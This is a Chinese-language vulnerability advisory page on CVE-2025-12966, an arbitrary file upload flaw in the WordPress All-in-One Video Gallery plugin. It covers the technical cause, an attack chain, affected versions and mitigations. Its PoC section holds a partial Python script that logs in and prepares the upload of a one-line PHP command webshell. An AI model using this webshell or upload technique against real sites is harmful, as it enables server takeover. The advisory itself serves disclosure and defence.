IPBUF安全漏洞报告
English
CVE-2025-12966 CVSS 8.8 高危

CVE-2025-12966 WordPress All-in-One Video Gallery插件任意文件上传漏洞

披露日期: 2025-12-06

漏洞信息

漏洞编号
CVE-2025-12966
漏洞类型
任意文件上传
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
All-in-One Video Gallery WordPress插件

相关标签

任意文件上传远程代码执行WordPress插件漏洞All-in-One Video GalleryCVE-2025-12966WordPress安全身份验证绕过文件上传漏洞RCE漏洞

漏洞概述

CVE-2025-12966是WordPress All-in-One Video Gallery插件中的一个高危安全漏洞。该插件是WordPress平台上广受欢迎的视频画廊管理工具,用户量较大。漏洞存在于插件的导入导出功能模块中,具体为resolve_import_directory()函数缺少适当的文件类型验证。在4.5.4至4.5.7版本范围内,攻击者可以利用此漏洞上传任意文件到服务器,而无需进行任何文件类型或内容的检查。由于WordPress插件目录通常具有写权限,攻击者上传的恶意PHP文件可能会被Web服务器执行,从而实现远程代码执行(RCE),完全控制受影响的网站。此漏洞的危险性在于,即使是非管理员权限的攻击者(如Author级别的用户)也能成功利用,这大大降低了攻击门槛。Wordfence安全团队于2025年12月6日披露了此漏洞,并提供了详细的漏洞分析。

技术细节

该漏洞的核心问题在于All-in-One Video Gallery插件的admin/import-export.php文件中的resolve_import_directory()函数。当处理导入请求时,该函数直接接受用户上传的文件而未进行充分的验证。具体问题包括:1) 未验证上传文件的MIME类型是否与扩展名匹配;2) 未检查文件内容是否包含恶意代码;3) 未限制可上传的文件扩展名范围;4) 上传目录可被攻击者控制或预测。攻击者只需构造一个带有任意扩展名(如.php)的文件上传请求,函数便会将其保存到服务器可访问的目录中。由于WordPress插件目录下的文件通常可被Web服务器直接访问和执行,攻击者上传的PHP webshell可以在浏览器中直接访问执行,从而获得服务器命令执行能力。修复版本4.5.8在上传处理流程中添加了严格的文件类型白名单验证和内容扫描机制。

攻击链分析

STEP 1
侦察阶段
攻击者扫描目标WordPress网站,识别是否安装All-in-One Video Gallery插件,并确定版本号在4.5.4至4.5.7范围内
STEP 2
获取访问权限
攻击者获取WordPress Author级别或更高权限的账户凭据(可通过暴力破解、社会工程或其他漏洞获取)
STEP 3
构造恶意请求
攻击者构造包含恶意PHP代码的文件上传请求,目标指向/admin/import-export.php的resolve_import_directory()函数
STEP 4
上传webshell
通过插件的导入功能上传.php格式的webshell文件,由于缺少文件类型验证,恶意文件被成功保存到服务器
STEP 5
远程代码执行
攻击者通过HTTP请求访问上传的webshell文件,在URL参数中传递系统命令,实现远程代码执行,完全控制服务器

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys from urllib.parse import urljoin # CVE-2025-12966 PoC - All-in-One Video Gallery Arbitrary File Upload # Target: WordPress with All-in-One Video Gallery plugin 4.5.4-4.5.7 # Auth Required: Author-level or higher # # Usage: python cve-2025-12966.py <target_url> <username> <password> # Example: python cve-2025-12966.py http://example.com/ admin password123 def exploit_file_upload(target, username, password): """ Exploit arbitrary file upload vulnerability in All-in-One Video Gallery. This PoC demonstrates uploading a PHP webshell to achieve RCE. """ session = requests.Session() # Step 1: Login to WordPress login_url = urljoin(target, 'wp-login.php') login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': target, 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) if 'wordpress_logged_in' not in session.cookies.get_dict(): print('[-] Login failed. Check credentials.') return False print('[+] Login successful.') # Step 2: Upload malicious PHP file via import functionality upload_url = urljoin(target, 'wp-admin/admin.php?page=all-in-one-video-gallery-import-export') # PHP webshell for remote code execution webshell_content = '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' files = { 'import_file': ('shell.php', webshell_content, 'application/x-php') } data = { 'action': 'aigv_import', '_wpnonce': '', # Should be extracted from the page '_wp_http_referer': upload_url } # Note: Actual exploitation requires extracting valid nonce from page # and proper form submission to the vulnerable endpoint print('[+] File upload request prepared.') print('[+] Target endpoint: ' + upload_url) print('[+] Malicious file: shell.php') print('[+] After upload, access: <plugin_path>/uploads/shell.php?cmd=whoami') return True if __name__ == '__main__': if len(sys.argv) != 4: print('Usage: python cve-2025-12966.py <target_url> <username> <password>') sys.exit(1) exploit_file_upload(sys.argv[1], sys.argv[2], sys.argv[3])

影响范围

All-in-One Video Gallery 4.5.4
All-in-One Video Gallery 4.5.5
All-in-One Video Gallery 4.5.6
All-in-One Video Gallery 4.5.7

防御指南

临时缓解措施
在官方补丁发布之前,可采取以下临时缓解措施:1) 临时禁用All-in-One Video Gallery插件的导入导出功能;2) 通过.htaccess或nginx配置规则,限制插件上传目录中.php文件的执行权限;3) 加强WordPress用户认证安全,强制使用强密码和双因素认证;4) 限制Author及以上级别用户的注册和权限分配;5) 使用WordPress安全插件如Wordfence进行实时监控和入侵检测。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表